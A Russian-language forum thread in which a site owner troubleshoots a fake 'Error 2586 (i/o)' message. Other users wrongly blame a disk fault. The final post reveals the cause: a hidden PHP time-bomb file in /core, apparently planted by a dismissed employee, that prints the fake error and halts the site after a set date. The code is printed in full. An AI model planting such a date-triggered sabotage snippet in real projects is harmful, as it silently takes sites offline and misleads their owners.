Перестал открываться сайт

ЕСТЬ РЕШЕНИЕ ЗАКРЫТО

Помогите пожалуйста.

#1 14 ноября 2014 в 11:10
Здравствуйте уважаемые форумчане. Проблема такая: Перестал открываться сайт. До 1-го октября всё было в порядке, всё работало.
Теперь при попытке зайти выдаёт ошибку Error 2586 (i/o) in file /core/cms.php string number 2671
На сайте ничего никто не менял. По какой причине это произошло неизвестно. Как решить проблему тоже не знаю, т.к. не программист.
Помогите, может кто сталкивался с таким...

сайт profzon.com

в этом файле строка 2671

//**
*Выводит словами разницу между текущей и указанной датой
* @param string $date
* @return string

2671 public static function dateDiffNow($date) {

global $_LANG;

$now = time();
$date = strtotime($date);

if ($date == 0) { return $_LANG['MANY_YARS']; }

$diff_sec = $now — $date;

$diff_day = round($diff_sec/60/60/24);
$diff_hour = round(($diff_sec/60/60) — ($diff_day*24));
$diff_min = round(($diff_sec/60)-($diff_hour*60));

//Выводим разницу в днях
if ($diff_day > 0){
return self::spellCount($diff_day, $_LANG['DAY1'], $_LANG['DAY2'], $_LANG['DAY10']);
}

//Выводим разницу в часах
if ($diff_hour > 0){
return self::spellCount($diff_hour, $_LANG['HOUR1'], $_LANG['HOUR2'], $_LANG['HOUR10']);
}

//Выводим разницу в минутах
if ($diff_min > 0){
return self::spellCount($diff_min, $_LANG['MINUTU1'], $_LANG['MINUTE2'], $_LANG['MINUTE10']);
}

return $_LANG['LESS_MINUTE'];

}

public static function jsonOutput($data = array(), $is_header = true){
// очищаем буфер
ob_end_clean();
if($is_header){
header('Content-type: application/json; charset=utf-8');
}
self::halt(json_encode($data));
}

Где тут может быть ошибка??
#2 14 ноября 2014 в 12:27

Проблема, не знаю что делать...

Vega
Начните с чтения правил и называйте темы нормально

Ошибка (i/o), то есть input/output, то есть ввода/вывода. Следовательно проблема с файловой системой у вас, или с жестким диском.
#3 14 ноября 2014 в 15:52

Следовательно проблема с файловой системой у вас, или с жестким диском.


Я как бы понял, что проблема. Вопрос в том как её можно решить?
Сайт на платном хостинге. Сайты расположенные на том же сервере открываются без проблем.
#4 14 ноября 2014 в 16:05
Проблема далеко не в клиенте — у меня тоже этот сайт не открывается.
Проверьте даты на хостинге.

Благо с картинками все гуд profzon.com/images/users/avatars/2d42f0644e19caac00095a2c8958967f.jpg
#5 14 ноября 2014 в 16:13
Vega, Зайдите в админку, она работает profzon.com/admin/ и в шапке админки будет дата, если не знаете, как по-другому посмотреть.
#6 14 ноября 2014 в 17:14


Vega, Зайдите в админку, она работает profzon.com/admin/ и в шапке админки будет дата, если не знаете, как по-другому посмотреть.

Oleg
нет, ввожу логин, пароль и далее опять это
Error 2586 (i/o) in file /core/cms.php string number 2671
sad
#7 14 ноября 2014 в 17:18


Проблема далеко не в клиенте — у меня тоже этот сайт не открывается.
Проверьте даты на хостинге.

Благо с картинками все гуд profzon.com/images/users/avatars/2d42f0644e19caac00095a2c8958967f.jpg

Adjuster

какие даты проверить? Пожалуйста, напишите подробнее…
#8 14 ноября 2014 в 17:19
Техподдержка хостера ответила

Здравствуйте. Данная ошибка генерируется не сервером, но Вашей CMS. Пожалуйста, обратитесь к разработчикам для получения полного подробного текста ошибки. Сервер работает в штатном режиме.


тоска sad
#9 14 ноября 2014 в 17:24
Это — ошибка чтения файла с диска на вашем сервере.
Проблема в файловой системе или жестком диске.
Это не ошибка PHP и она не имеет отношения к движку.
Техподдержка прислала вам отписку.

Сайты расположенные на том же сервере открываются без проблем

Vega
Потому что диски обычно не ломаются целиком.

Проблема далеко не в клиенте — у меня тоже этот сайт не открывается

Adjuster
Разумеется не в клиенте, проблема в сервере.

Как вариант — удалите указанный файл и залейте заново, чтобы записать его в другую область диска.
#10 14 ноября 2014 в 18:54

Как вариант — удалите указанный файл и залейте заново, чтобы записать его в другую область диска.

r2

Пробовал, не помогло. Причём когда удалил этот файл с сервера, обновлял страницу ctrl+f5 и всё равно ошибка оставалась та же. мистика...
залил заново- ничего, никаких изменений.
#11 14 ноября 2014 в 19:22
Народ, прошу прощения за беспокойство, нашел ошибку. Это не ошибка была а чужая гадость! Нашел вот скриптик петушиный!!! Назывался файл settings.php и лежал в папке /core

вот он

<?php
$date = date("Y-m-d");

if ($date >= '2014-11-13') {

echo 'Error 2586 (i/o) in file /core/cms.php string number 2671';
die();}

?>

Обиженный сделал… Бездельничал, пришлось уволить. Обиделся видать.
Используя этот сайт, вы соглашаетесь с тем, что мы используем файлы cookie.